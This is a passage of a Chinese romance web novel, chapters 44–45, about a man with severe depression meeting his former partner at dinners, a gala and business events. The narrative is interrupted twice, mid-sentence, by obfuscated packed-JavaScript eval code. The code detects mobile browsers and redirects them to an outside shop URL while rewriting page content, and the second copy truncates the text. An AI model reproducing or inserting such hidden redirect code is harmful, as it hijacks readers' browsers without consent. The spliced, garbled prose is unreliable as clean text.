他猛地抬起眼,对上南景依旧平静的目光,那里面有关心吗?或许有,但那是一种出于基本社交礼仪对任何一个不算太陌生的人都会有的泛泛关心。可即便如此,对邵既明而言,这已经是奢望了。南景在问他,问他好不好。 “我……我还好。”邵既明几乎是立刻回答,语速有些快,像是怕对方反悔收回这个问题。他努力想扯出一个表示“我很好”的笑容,但嘴角的肌肉僵硬,那个笑容显得异常勉强,甚至带着点仓皇。“工作……还算顺利。身体……也注意了。”他避重就轻,绝口不提那些深夜无法入眠的煎熬,药物带来的副作用,和心理医生办公室里无数次崩溃又重组的艰难。 “那就好。”南景应了一声,很轻,很淡。然后,他似乎觉得这个话题可以结束了,便重新拿起筷子,夹了一块鱼肉,补充了一句,“多注意身体,总是好的。” 很平常的客套话。可听在邵既明耳中,却像是最珍贵的甘霖。南景让他“多注意身体”。他在关心他的身体。哪怕只是随口一说。 “嗯!我会的!”邵既明用力点头,手指在桌下紧紧攥成了拳。“你……你们也是。旅行虽然开心,但也挺奔波劳累的。回来了,就……好好休息调整。” 他努力想让自己的话听起来更自然,更像朋友间的寻常叮嘱,而不是充满了过度关注。 “嗯,会的。”南景又点了点头,目光已经回到了自己碗里,似乎准备结束这段对话了。 邵既明心里涌起一阵巨大的失落和不舍。这就……结束了吗?他还有好多话想问,想问他北极的极光是不是真的像照片里那么震撼,想问他沙漠的夜晚冷不冷,想问他有没有在雨林遇到什么危险……但他不敢。他怕问得太多,显得逾越,惹南景厌烦。 他张了张嘴,最终只是干巴巴地,低声说了一句:“那些照片……拍得很美。朋友圈的。” 南景似乎有些意外他会提起朋友圈,抬头看了他一眼,眼神里闪过一丝讶异,但很快恢复平静,只淡淡回了句:“周冉喜欢发。我很少看。” 邵既明心里一紧,连忙解释:“我……我是说,风景很美。你们……看起来也很开心。”他差点又说“你看起来很开心”,硬生生改成了“你们”。 “嗯,是段不错的经历。”南景再次给予了一个简洁的肯定。然后,他不再看邵既明,转向正在和秦朗抢最后一块糖醋小排的赵琪,语气温和地提醒:“琪琪,慢点吃,别噎着。” 对话彻底结束了。 邵既明闭上了嘴,重新低下头,看着自己碗里几乎没动过的米饭。他说了什么?南景又说了什么?不过是最寻常不过的寒暄,几句关于旅行和身体的客套话。可对他来说,却像是耗尽了一生力气去完成一次艰难的朝圣。 他得到了回应。南景和他说话了,语气平和,没有厌恶,没有回避。甚至还问了他一句“还好吗”,叮嘱他“注意身体”。 这已经……比他过去两年里,任何一次偷窥、任何一次幻想中的重逢,都要好得多了。 可是,为什么心里还是这么疼? 他悄悄抬起眼,再次贪婪地看了一眼南景近在咫尺的侧脸。阳光旅行带来的健康肤色,沉静平和的眉眼,自然舒展的姿态……他是真的还好,而且看起来,是那种从内到外、真正放下了的“好”。 邵既明的心,又酸又涩,几乎无法呼吸。他强迫自己移开视线,拿起筷子,机械地扒了一口已经凉掉的米饭。味同嚼蜡。 “对了,南景叔叔,”赵琪忽然想起什么,咽下嘴里的食物,眼睛亮晶晶地问,“你们去看企鹅了吗?帝企鹅是不是真的像纪录片里那么可爱?它们会让你们摸吗?” 南景的注意力被小姑娘吸引过去,耐心地回答起她的问题。 邵既明就坐在那里,安静地听着。听着南景用他熟悉好听的嗓音,描述着南极的寒风、憨态可掬的企鹅、和那些不能触碰的规矩。 他能这样坐在他身边,听他说话,已经是偷来的恩赐了。 44. 我舍不得,可是时间回不去了 秦朗发动车子,平稳地驶入夜晚的车流。周冉靠在副驾驶座,指尖有一下没一下地敲着膝盖,目光却若有所思地飘向窗外刚刚分开的邵既明和赵琪的身影。 “哎,秦朗,你那表弟……邵既明,他怎么回事?我怎么觉得……人看着不太对劲。” 她顿了顿,似乎在寻找更准确的措辞,眉头微微蹙起:“不是以前那种……装逼的冷漠或者渣男的油腻。是一种……怎么说呢,像被抽掉了大半生气,罩了层玻璃壳子似的,看着挺正常,但细看……眼神有点空,身上有种……淡淡的死气。要死不活的。” 周冉是知道的,南景对邵既明这个人,连同那些过往,早就彻底翻篇了,此刻问起,纯粹是她自己观察后的好奇,与南景无关。 秦朗透过后视镜,飞快地瞟了一眼后座的南景。南景依旧维持着那个姿势。秦朗心里叹了口气,收回目光,目视前方。 “病了。”他言简意赅,吐出两个字。 “病了?”周冉挑眉,“什么病能把人折腾成这副鬼样子?看着年纪轻轻的。还能有救吗?听你这意思,好像不是一天两天了?” “嗯,两年多了。抑郁症。重度的那种。” 他再次从后视镜里看了一眼南景。南景的侧影依旧未动,只是看着窗外的目光似乎更加没有焦点。秦朗无法判断他是否在听,又听进去了多少。 “你们刚出国那段时间,尤其严重。”秦朗继续道,“整个人彻底垮了,没办法工作,没办法见人,整天要么不说话,要么……情绪崩溃。瘦得脱了形,抱着点……”他硬生生把“南景的东西”咽了回去,改口道,“……抱着点旧物不放,跟魔怔了似的。那会儿,是真怕他哪天就……” 他没说完,但周冉听懂了。她沉默了几秒,过了好一会儿,才轻轻“啧”了一声。 “抑郁症……重度?”她重复了一遍,语气有些微妙,“啧,年纪轻轻,家大业大,长得人模狗样,怎么就抑郁了?还重度?真是没怎么吃过人间疾苦的少爷,一点风雨就扛不住了,心理素质这么差?” 她的话说得直白,但并没有多少真正的恶意,更像是一种基于她自身强悍生命力无法理解的评判。她从小和南景相依为命,什么苦没吃过,什么白眼没受过,不也照样活蹦乱跳、怼天怼地地长大了?在她看来,邵既明这种出身顶豪、要什么有什么的人患上重度抑郁,多少有点为赋新词强说愁的矫情。 秦朗听出她话里的不以为然,嘴角扯出一个苦笑,没反驳,只是淡淡道:“病就是病,跟吃没吃过苦,是不是少爷,没关系。脑子里的化学物质失衡了,就像感冒会发烧,胃病会疼一样,由不得人。不过……” 他话锋一转,语气稍微轻松了点:“现在跟那会儿最严重的时候比,已经好多了。至少能出来见人,能说几句话,能……像个正常人一样吃饭了。药一直吃着,心理医生也定期看。慢慢熬吧。” 周冉没再说话,只是转过头,看向窗外。城市璀璨的灯火在她眼中流淌而过,映不出她此刻具体的情绪。她或许还是无法完全理解那种由不得人来自大脑内部的暴风雨,但秦朗那句“病就是病”,以及提到邵既明曾经严重到“怕他哪天就……”的状态,让她之前那点不以为然稍稍收敛了些。 车厢里重新安静下来,南景始终保持着那个姿势,一言不发。 而放在身侧、隐在阴影里的那只手,手指无意识地,在柔软的车座皮质上,蜷缩,又松开。 南景这次回国,除了调整休憩,确实有几笔重要的投资项目进入了最后的收尾阶段。其中一个基金,当初能顺利搭上线,秦朗在其中的人脉牵线功不可没。因此,当这只基金联合几家顶级投行与律所,在城中地标建筑顶层举办一场小范围、高规格的收官答谢酒会时,南景作为投资方出席,合情合理。而邵氏作为同一生态圈内不可忽视的力量,且在某些环节也有间接合作,邵既明的到场,也顺理成章。 酒会设在一间拥有360度全景玻璃幕墙的宴会厅。夜幕低垂,窗外是璀璨如星河倒悬的城市夜景,窗内是衣香鬓影,低声谈笑。与会者皆是行业翘楚,举止得体,言谈间是动辄数亿的资金流向与全球市场的风云变幻。 南景穿着剪裁合体的深蓝色西装,正与一位白发矍铄的基金合伙人站在窗边,交谈着技术转化的市场前景。他姿态放松,但眼神专注,偶尔举杯示意,姿态沉稳从容。 邵既明来得稍晚一些。他同样穿着得体的西装,举止也恢复了往日的疏离与分寸。他进入会场后,目光几乎是下意识地,迅速落在了窗边那个熟悉的身影。心脏猛地一缩,随即是熟悉的悸动。他强迫自己移开视线,与相熟的人点头寒暄,接过侍者递来的香槟。 整个晚上,他们有过几次不可避免的、短暂的视线交汇,或者在人流中擦肩而过。每一次,邵既明都会克制地,朝南景微微颔首,露出一个极其标准浅笑。而南景,也会在目光相接的瞬间,给予一个同样平淡、礼貌的点头回应,随即自然地将视线移开,转向正在交谈的对象,或者手中的酒杯。没有多余的情绪,没有刻意的回避,就像对待任何一个在社交场合需要维持基本礼仪的、不算熟悉的同行。 然而,他忽略了身体里蛰伏的猛兽。为了以最佳状态出席今晚可能见到南景的场合,他白天故意推迟了午间那顿抗抑郁和稳定情绪的药物,他怕药物带来的轻微迟滞和困意,会影响他“正常”的表现,怕在南景面前露出一丝一毫的“病态”。他计算着时间,打算在酒会中场休息时再去补服。 可高强度、高压的社交环境,空气中弥漫的酒精与香水混合的复杂气味,周围密集的人群,以及见到南景后持续不断的精神亢奋与自我压抑,都在悄然消耗着他本就脆弱的神经储备。起初是隐约的耳鸣,像是远处有蜂群在嗡嗡作响。接着,手心开始不受控制地冒冷汗。视线边缘偶尔会出现细微闪烁的光斑。胸口像是被什么东西慢慢攥紧,呼吸需要刻意加深才能维持平稳。 他感到一阵熟悉的恐慌开始从脚底蔓延。是了,药效快要过了。他必须立刻离开这里,找个没人的地方,把药吃下去。 他勉强对正在交谈的某位银行家挤出一个歉意的笑容,声音有些发紧:“失陪一下,我去趟洗手间。” 说完,他几乎是有些仓皇地转身,朝着宴会厅侧门,通往相对安静休息区和洗手间的方向快步走去。脚步因为急切和开始轻微失衡的身体协调性而略显虚浮。他必须快,在彻底失控之前。 走廊里铺着厚厚的地毯,吸收了脚步声,只有他越来越急促的呼吸声在耳边放大。休息区空无一人,灯光比主厅幽暗。他踉跄着冲进男士洗手间,反手锁上了其中一个隔间的门。背靠着冰凉的门板,他剧烈地喘息,眼前阵阵发黑,手指颤抖得几乎解不开西装内袋的扣子。 终于,他摸到了那个随身携带扁平的银色药盒。里面分格装着他每天需要按时服用的几种药片。他哆哆嗦嗦地打开,就着隔间里昏暗的光线,辨认着那些白色、黄色的小小药片。冷汗已经浸湿了他的鬓角,顺着苍白的脸颊滑落。耳鸣声越来越响,心脏在胸腔里狂跳。这是焦虑惊恐发作的前兆和断药后的戒断反应。 他必须立刻把药吃下去。 他颤抖着,试图将几颗药片倒在掌心。然而,手指抖得太厉害了,完全不受控制。第一次,几颗药片从颤抖的指缝间漏出,掉在光洁的瓷砖地面上,发出轻微的“嗒嗒”声,滚到了角落。 “不……”他喉咙里溢出一声破碎的呜咽,更加慌乱,又去倒。第二次,因为用力过猛,整个药盒都从湿滑的掌心翻了出去! “哗啦” 一小捧五颜六色、关乎他精神稳定的药片,如同断线的珠子,纷纷扬扬地洒落一地,在深色瓷砖上显得格外刺眼。有些滚到门外面,有些散落在他的脚边。 邵既明僵住了,低头看着满地狼藉的药片,仿佛看到自己好不容易维持“正常”的假象,也随之摔得粉碎。他靠着门板,缓缓滑坐下去,也顾不得地上干净与否,伸出颤的抖手徒劳地想去捡拾那些救命的药片。可指尖颤抖得不听使唤,几次都捏不住那小小的颗粒。 就在这时,隔间的门,被人从外面,轻轻敲了两下。 叩,叩。 声音不重,但在寂静的洗手间和邵既明高度紧张的神经上,却如同惊雷。 邵既明猛地一颤,僵在原地,连呼吸都屏住了。是谁?他不能被看见!绝对不能! “邵总?”门外传来一个平静熟悉到让他心脏骤停的男声。 是南景。 他怎么会在这里?他看见了吗?听见了吗? 邵既明大脑一片空白,只剩下灭顶的恐慌和羞耻。他张了张嘴,却发不出任何声音。 门外的南景似乎等了两秒,没有听到回应,也没有强行开门。然后,邵既明听到轻微衣物摩擦的声音,似乎南景弯下了腰。 几秒钟后,一张干净的白色的纸巾,从隔间门下的缝隙里,平稳地推了进来。纸巾上,整整齐齐地放着几颗药片,正是邵既明刚才掉出去的那几种,一样一颗,显然是南景从门外捡起后放好的。 紧接着,一只骨节分明的手,握着一瓶未开封的矿泉水,也从门下的缝隙伸了进来,将水瓶轻轻放在地上,就在那张托着药片的纸巾旁边。然后,那只手平静地收了回去。 整个过程,南景没有说一句话。没有询问,没有惊讶,没有怜悯,也没有催促。 邵既明呆呆地看着地上那张纸巾上的药片,和那瓶水。羞耻、狼狈、不堪,酸楚,在他冰冷的胸腔里横冲直撞。南景看见了。看见了他最不堪、最脆弱、最像个疯子的样子。可是,南景没有走开,没有嘲笑,没有质问,而是……帮他捡起了药,给了他水。 他颤抖着,伸出冰冷汗湿的手,小心翼翼地,拿起了那张纸巾,将上面的药片倒入掌心。然后,他拧开那瓶水,冰凉的水滑过喉咙,带着药片的苦涩,一起咽下。 做完这一切,他靠着门板,仰起头,紧闭双眼,等待着药效发挥,也等待着那阵情绪的海啸过去。泪水终于控制不住,从紧闭的眼角滑落,混着脸颊上的冷汗,一片冰凉。 门外,一片寂静。南景似乎已经离开了。 过了不知道多久,也许几分钟,也许更久,药效开始缓慢地发挥作用,那阵剧烈的恐慌和心悸渐渐平息,虽然身体依旧虚软无力,但至少,重新踩在了现实的边缘。 邵既明扶着隔间的墙壁,艰难地站起来,整理了一下皱巴巴的西装和凌乱的头发。他眼眶通红、脸色惨白如鬼、狼狈到了极点,嘴角扯出一个比哭还难看的弧度。 他拉开门,走了出去。 洗手间里空无一人,只有水流声在静静流淌。 他走到洗手池前,用冷水狠狠扑了扑脸,试图让混沌的头脑清醒一些,也洗去脸上的泪痕。抬起头,镜子里的自己,依旧糟糕透顶,但至少,还能勉强维持一个人的形状。 他走出洗手间,回到通往宴会厅的走廊。脚步依旧虚浮,但已能勉强行走。 然后,他看到了南景。 南景并没有走远。他就站在走廊尽头的落地窗前,背对着洗手间的方向,静静地看着窗外浩瀚的城市夜景。身影在窗外璀璨灯火的映衬下,显得格外挺拔,也格外……遥远。 听到脚步声,南景缓缓转过身。 四目相对。 邵既明的心脏又是一紧,下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046495|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地想低头,想逃开。但他强迫自己站在原地,甚至努力挺直了背脊,尽管那挺直带着细微地颤抖。他想对南景说点什么,谢谢,或者解释,或者道歉……可喉咙里像被什么堵住了,一个字也说不出来。他只是看着南景,眼神里有未褪尽的惊惶,有狼狈,还有一丝小心翼翼的期盼。期盼什么?他自己也不知道。 南景的目光落在他依旧苍白的脸上,红肿的眼角,微微敞开的、带着湿意的领口。那目光很平静,依旧没有多余的情绪,只是比平时稍微……停留得久了一点点。 然后,南景很轻地,对他点了点头。 接着,南景便移开了视线,转身,步伐平稳地朝着宴会厅的方向走去。没有回头,没有再看他一眼。 邵既明站在原地,看着那个逐渐远去的、平静挺拔的背影,直到他消失在宴会厅门口的光晕里。 他想靠近,哪怕一步。 可他不敢。 停车场,秦朗的车停在角落,引擎已经熄灭。车窗前,南景那辆线条流畅的白色轿车刚刚拐出通道,尾灯在转角处划过一道红光,随即彻底消失在沉沉的夜色里。 副驾驶座上,邵既明保持着那个姿势,身体微微前倾,脸几乎贴在冰凉的车窗上,久久没有动弹。 秦朗斜眼看着身边这个仿佛魂儿都被那辆车带走了的弟弟,他忍了又忍,终于还是没忍住,从鼻子里重重哼出一声,伸手,不轻不重地推了一把邵既明的肩膀。 “行了!别看了!眼珠子都快掉出来黏人家车屁股上了!再看人家也不会掉头回来跟你说句晚安宝贝儿,明天见!醒醒吧邵总,梦该醒了,车窗玻璃快被你瞅出洞了!” 邵既明的身体被他推得晃了一下,但视线却没有立刻收回。他依然望着那片空荡荡的通道入口,过了好几秒,才极眨了一下干涩的眼睛。然后,他慢慢坐直身体。 “哥,我忘不掉他。” 秦朗被这句话噎了一下,心头那点火气像被针戳破的气球,“嗤”地一声漏了大半,只剩下满心窝子的无奈。他烦躁地扒拉了一下自己早上精心打理过、此刻也有些凌乱的头发,深深吸了口气,又重重吐出来,仿佛想把胸腔里那股憋闷都吐出去。 “艹!”他低骂一句,不知道是在骂邵既明的不争气,还是在骂这操蛋的命运安排。 妈的,跟一个抑郁症病人讲“天涯何处无芳草”?讲“下一个更乖”?那不是对牛弹琴,那是往人家心口的血窟窿上撒盐,顺便再拧两把。 秦朗沉默了几秒,他忽然觉得有点累,不是身体上的,是一种更深沉的、看着亲近的人在自己眼前一点点沉溺却无力彻底拉回的疲惫。 “忘不掉就不忘呗。谁他妈规定分手了,离婚了,老死不相往来了,你就得跟格式化硬盘似的把人一键清空,连个碎片都不能留?法律没这条,道德也没这说。你爱想就想,爱惦记就惦记,在你自己个儿心里,把他供成祖宗牌位天天上香都行,那是你的自由,你的地盘儿你做主。” 他说着,侧过身,胳膊搭在方向盘上,目光盯着邵既明,语气加重:“但是邵既明,你给我听清楚,你想他,是你的事。你心里翻江倒海,痛得死去活来,那也是你自个儿受着。没人有义务为你的忘不掉负责,更没人有责任回头看你一眼,安慰你一句,尤其是南景。” “他不是你的药,更不是你的救世主。他早就往前走了,走得还挺远,活得也挺好。你那点忘不掉,在他那儿,屁都不是。不,可能连屁都不是,屁还有点味儿呢,你那点念念不忘,人家可能压根儿就没闻见过,早就被风吹散了。” “我控制不住……”邵既明痴痴的说,“我也不想这样……可我这里……”他抬手,用力抵住自己左边的胸口,那里是心脏的位置,此刻正因为剧烈的情绪而沉闷地抽痛,“……这里空了一大块,冷,漏风……只有想到他的时候,才觉得……没那么空,没那么疼。哪怕是想他最后看我的眼神,想他说‘你好一般’的样子……都比现在这样……像个行尸走肉强。” 秦朗听着,心里那点无奈和烦躁,渐渐被一种更深、更无力的悲哀取代。他想起医生私下跟他说的话,关于重度抑郁患者的情感依赖和痛苦成瘾,关于他们如何在巨大的精神痛苦中,抓住任何一点熟悉的、哪怕是带来痛苦的感觉,来确认自己还活着。邵既明对南景的忘不掉,早已超越了普通的情伤,成了一种病态的、维系生命的畸形纽带。 “邵既明,”秦朗的声音沉了下来,他很少用这么严肃认真语气跟邵既明说话,“哥不是不让你想。你想,随便想。但你得清楚,你想的,是你记忆里的那个南景,是过去的幻影,不是现在这个活生生、会走路、会吃饭、会跟别人谈笑风生的南景。你抓着那点影子不放,折磨的是你自己,耽误的也是你自己。” 他顿了顿,看着邵既明惨白的脸和通红的眼眶,终究还是放缓了语气:“你吃药,看医生,努力好起来,不是为了哪天能配得上他,让他回心转意。是为了你自己!是为了让你自己,哪怕没有他,也能像个人一样,吃顿好饭,睡个整觉,看看太阳,而不是像现在这样,离了他就像离了氧,活都活不下去!” “至于他……”秦朗望向车窗外南景车子消失的方向,“他早就不是你的了。你的念念不忘,不会有回响的。这世上,不是所有的执着都能等来结果,更多的是石沉大海,悄无声息。你得学会接受这个,哪怕接受的过程,比你现在想着他还难受。” 邵既明没有再说话。他只是靠在座椅里,闭上了眼睛,泪水终于控制不住,从紧闭的眼角无声地滑落。胸口那块地方,因为秦朗的话,好像更空,更冷了。 秦朗也不再说话,重新发动了车子,缓缓驶出停车场。 45. 不爱了就是不爱了 周冉盘腿坐在柔软的地毯上,背靠着沙发,手里捧着平板电脑,正对着屏幕上一长串令人愉悦的数字啧啧称奇,漂亮的眉眼弯起,是毫不掩饰的愉悦。 “厉害了,我的景啊!”她吹了声口哨,指尖在屏幕上划拉着,“四个多亿啊!就这么躺着进来了?理财小能手啊你!早知道当年就该把全部家当都交给你打理!” 南景正坐在旁边的单人沙发里,手里翻着一本最新的行业期刊,闻言抬了抬眼:“这得感谢秦朗。那年你生日,他不是说这两年经济看着光鲜底下虚,建议屯点硬通货保值么。我就用你放在我这儿的那部分流动资金,陆陆续续买了些黄金。没想到行情走得还不错,两年下来,差不多翻了一倍。” “可以可以,非常可以!”周冉笑得见牙不见眼,把平板往旁边一丢,整个人舒展开躺在地毯上,望着天花板,语气憧憬,“等你手头这几个项目彻底收尾,咱们就继续出发!环游世界第二季启动!钱嘛,是永远也赚不完滴,但好玩的地方和人,错过了可就没有了!” 南景放下期刊,端起手边的咖啡抿了一口,目光落在周冉那张写满“蠢蠢欲动”的脸上,唇角微扬:“怎么,秦总这人形钱包加痴情GPS,还不足以让我们周大小姐收收心,安安稳稳当几天豪门少奶奶?” “啧,”周冉撇撇嘴,翻了个身,侧躺着用手支着脑袋,“原谅我这一生不羁放纵爱自由啊~姐的人生信条,唯有美食与自由不可辜负!之前为了躲他,跟做贼似的,好些地方都没静下心来好好玩,光顾着跑路了。这次嘛……就不躲了,大大方方地玩。我看看还有哪些没踩过点的秘境,还有哪些去过了但还想再深度游的地方……慢慢玩,不着急。” “秦朗年纪也不小了吧。”以秦家的背景和秦朗自身的“恨娶”程度,这般没名没分、时近时远地耗着,恐怕不是长久之计。 “啧,他都不急,你急啥?”周冉挥挥手,不以为意,“先玩爽了再说!人生苦短,及时行乐。他要是等不及,有的是人想当秦家少奶奶,我又不拦着。” 她说得潇洒,但南景知道,她心里并非完全没有秦朗的位置。只是那份感情,和她对绝对自由、自我掌控的渴望,仍在进行一场旷日持久的拉锯战。而在这场拉锯中,显然目前是自由占据了上风。 南景笑了笑,没再就这个话题深入。他重新拿起期刊,目光落在密密麻麻的文字上,思绪却有些飘远。 秦朗……周冉……一个追得紧,一个逃得欢,一个看似占据主动实则被牵着鼻子走,一个看似随心所欲实则内心自有衡量。倒也是一对活宝。 他的目光无意识地落在窗外明净的蓝天白云上,脑海里却忽然闪过另一张脸。 邵既明。 最近两次见面,一次是餐厅偶遇,一次是项目酒会。那张脸……南景微微蹙了下眉,不是出于厌恶或怀念,更像是一种纯粹客观带有距离感的观察。 除了那副骨相轮廓还能依稀辨认出当年的影子,内里……几乎像是换了一个人。 记忆中的邵既明,是锐利的,骄傲的,带着一种天之骄子近乎冷酷的自信与掌控感。即使在他面前偶尔流露温和,底色也是坚硬的。而现在的邵既明…… 苍白。不是普通的白皙,是一种缺乏生命力近乎透明的苍白,像是长久不见阳光,或是被什么东西从内部抽干了血色。 消瘦。虽然比两年前传闻中形销骨立好了些,但依旧是过分的清瘦。西装穿在身上,肩线处总有细微的空荡,仿佛那副骨架勉强撑起布料,内里却空空如也。 眼神。这是最不同的。曾经的邵既明,眼神是聚焦的,有攻击性的,或者深沉的。而现在,那双眼睛大多数时候是空的,涣散的,像是蒙着一层擦不掉的薄雾,努力想看向某处,却总无法真正聚焦。更深绝望的光芒,亮得骇人,也……脆弱得不堪一击。 他病了。秦朗在车上那句沉重的“抑郁症,重度”,以及周冉后来不以为然的评价,此刻有了更具体的对应。南景对心理学了解不深,但他见过真正被病痛折磨的人。邵既明身上那种抽离感、僵硬感,以及偶尔失控的颤抖和仓皇,都指向一种精神世界内部正在发生他无法想象也无法感同身受的战争。 只是……这一切,都与他无关了。 南景非常清晰地意识到这一点。他的心里没有波澜。没有“看他如今这样,当初何必那样”的快意,也没有“毕竟爱过,见他如此不免唏嘘”的怜悯,更不存在任何“或许他知错了,或许……”的荒谬期待。 就像走在街上,看到一个陌生人突发急病,你会驻足,或许会帮忙叫救护车,甚至出于人道本能递上一瓶水、一张纸,但绝不会因此将对方的病痛背负到自己身上,更不会因此改变自己的行程和目的地。 邵既明于他,就是这样一个生病的陌生人。一个因为过往一些不愉快的交集,而比纯粹陌生人多了几分面孔熟悉度需要保持基本礼仪距离的熟人而已。 他想起酒会那晚,在洗手间外,邵既明颤抖着手接过药片和水,那通红眼眶里几乎要溢出来令人心悸的情绪。有狼狈,有感激,有绝望,还有一丝……期盼? 他在期盼什么? 南景不知道,也不想知道。他当时递出药和水,就像处理一件意外的、需要顺手解决的小麻烦。做完,便离开了,没有回头。那不是冷漠,而是一种平静的抽离。他的善意是有限的,克制的,仅止于解决眼前困境的范畴,绝不包含任何情感上的回应或牵连。 往事早已随风。 不,是连风都停歇了,只剩下一片彻底的、了无痕迹的晴空。 南景收回飘远的思绪,重新将注意力集中在手中的期刊上。一行行专业的分析、数据、趋势预测映入眼帘,清晰,理性,充满逻辑的美感。这才是他此刻关心和投入的世界。 接下来的几周,在不同的商务场合,南景又数次遇到了邵既明。频率似乎比以往要高一些,但都在合理的、同处一个顶级商业社交圈可能发生的范围之内。 每次相遇,模式都差不多。视线在不经意间交汇,邵既明会率先,极其克制地,微微颔首。他的脸上没有太多表情,甚至刻意维持着一种近乎漠然的平静,只有微微绷紧的下颌线加速滚动的喉结,泄露着内里的紧绷。 南景则会回以一个同样平淡、礼貌的点头。目光不会多做停留,随即自然地移开,转向正在交谈的人,或者手中的资料。 邵既明将秦朗那句“慢慢来,别让他觉得你刻意接近他”奉为圭臬。他像一个在悬崖边练习走钢丝的人,每一步都走得小心翼翼,用尽全身力气去控制那种每次见到南景,就想要不管不顾冲上去、紧紧抱住那具温暖身体的冲动。他必须死死咬住牙关,攥紧拳头,用指甲嵌进掌心的刺痛来提醒自己:不能。不可以。会吓跑他。哥说了,要像个正常人。 于是,他强迫自己只停留在点头之交的安全距离。哪怕南景就站在几步之外,和别人谈笑风生,侧脸在灯光下显得沉静美好;哪怕他身上的气息随着空气的流动隐约飘来,勾起记忆深处最甜蜜也最痛苦的悸动;哪怕只是看着他握着酒杯的修长手指,邵既明都觉得心脏快要从喉咙里跳出来。他只能像个最蹩脚的偷窥者,用眼角的余光贪婪地攫取一点点影像,然后迅速移开,假装专注地看着别处,或者低头摆弄手机。 南景并非毫无察觉。他能感觉到那道虽然极力掩饰的视线,在每次短暂交汇后又火速逃离。他能看到邵既明过分苍白的脸上,那努力维持平静却依旧显得空洞的眼神,和微微泛青的眼眶。 起初,南景只是将其归为,一个需要保持距离状态不佳的熟人,继续着他的无视策略。但次数多了,尤其是在一次持续到傍晚的研讨会茶歇时,他看到邵既明独自站在露台角落,背对着喧嚣的人群,肩膀微微颤抖,手指紧紧攥着露台的铁艺栏杆,许久没有动弹。 南景当时正和一位学者站在不远处交谈,目光无意间扫过,他想起酒会洗手间外散落的药片,想起秦朗说的重度,想起邵既明接过水时那通红的眼眶。 一种极其轻微、几乎可以忽略不计的情绪,像水底的暗流,轻轻掠过他平静的心湖表面。他知道那个人在生病,在很艰难地对抗着某种东西。而他恰好知道,对抗那种病,需要按时吃药。 当天的活动接近尾声,人群开始散去。南景收拾好自己的东西,准备离开。经过依旧站在原处、似乎有些恍惚的邵既明身边时,两人的距离比之前任何一次都要近。 南景的脚步没有停,甚至没有转头看他。他只是目不斜视地看着前方的出口,清晰地吐出几个字:“别忘记吃药。” 说完,他没有等任何回应,步履平稳地,径直走出了会场大门,将那片渐渐响起的嘈杂和那个呆立当场的身影,留在了身后。 他的提醒,无关风月,不带温情,是一种出于基本人道主义的叮嘱。 然而,对邵既明而言,这短短的五个字,不啻于一道劈开他黑暗世界的惊雷,又如同一剂剂量过猛让他眩晕的强心针。南景知道他在吃药!南景记得!南景……在提醒他!这让他几乎站立不稳,只能死死抓住身边的椅背,才没有失态。他猛地转过头,目光急切地追向那个即将消失在门外的、挺拔平静的背影,嘴唇哆嗦着,却一个字也发不出来,只有滚烫的液体瞬间模糊了视线。 几天后,又一次在某个慈善晚宴的签到处偶遇。人不多,他们几乎是同时到达。邵既明看到南景,身体又是一僵,下意识地又想点头然后快速移开视线。但这次,南景在接过工作人员递来的笔时,目光很平静地在他过分苍白的脸上停留了一瞬。那眼神里没有探究,没有情绪,只是很平淡地扫过,然后,南景的眉头微锁,又极快地松开。 就在邵既明心脏狂跳,以为又要得到一句冰冷的无视或更疏远的点头时,他听见南景对着工作人员,也仿佛是对着空气说道:“里面冷气可能有点足。” 说完,他便低下头,流畅地在签到簿上签下自己的名字,然后将笔递给旁边呆若木鸡的邵既明,自己则转身,步态从容地走进了宴会厅。 邵既明拿着那支还带着南景指尖余温的笔,愣在原地,过了好几秒,才猛地回过神,慌慌张张地签下自己扭曲的名字。那句“里面冷气可能有点足”在他脑子里反复回响。是……随口一说?还是……在提醒他注意,因为他看起来脸色太差,容易着凉? 他不敢深想,怕又是自作多情,可心里那点被南景一句话轻易点燃的火苗,却顽强地燃烧着。他下意识地拢了拢身上其实并不单薄的西装外套,跟在南景身后,也走进了那片衣香鬓影之中。整个晚上,他的目光依旧不敢过多流连,但身体里似乎注入了一点微弱的力量,让他能够稍微站直一些,呼吸也似乎顺畅了一点点。 南景并没有再多看他一眼,也没有再和他说过话。他像往常一样,与人交谈,倾听,偶尔发表见解,姿态沉静得体。只是在晚宴中途,他去取餐时,无意间瞥见邵既明一个人坐在相对偏僻的角落,面前的餐盘几乎没动,手里握着水杯,眼神空洞地望着某处,侧影在华丽背景的映衬下,显得格外孤独和……单薄。 就在那一刻,看着那个努力挺直背脊、却仿佛随时会碎掉的侧影,南景的嘴唇抿了一下。他移开视线,继续挑选着食物,动作没有丝毫停顿。 然而,在无人看见的角落,在心底那片早已波澜不惊的湖面最深处,一声极轻的叹息,悄无声息地消散在了宴会厅温暖的空气里。 那叹息太轻,太短,连南景自己都未必清晰地意识到。 深夜,秦朗揉着发疼的太阳穴回到自己那间同样空旷冷清的顶层公寓。刚踢掉皮鞋,甩开西装外套,扔在沙发上,手机就嗡嗡震动起来。是邵既明。 秦朗挑了挑眉,这个点,那小子不是该吃药准备睡觉了么?难道又不对劲了?他心头一紧,立刻接起:“喂?既明?怎么了?不舒服?” 电话那头没有立刻传来回答,只有一阵压抑的、粗重不匀的呼吸声,过了好几秒,才响起邵既明的声音。 “哥……”邵既明叫了一声,又停住了,似乎不知道该怎么继续说下去。 秦朗眉头皱紧,走到酒柜边给自己倒了杯威士忌,语气严肃起来:“说话。到底怎么了?药吃了没?是不是又……”他担心是病情反复,出现严重的焦虑或躯体症状。 “他……他跟我说话了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 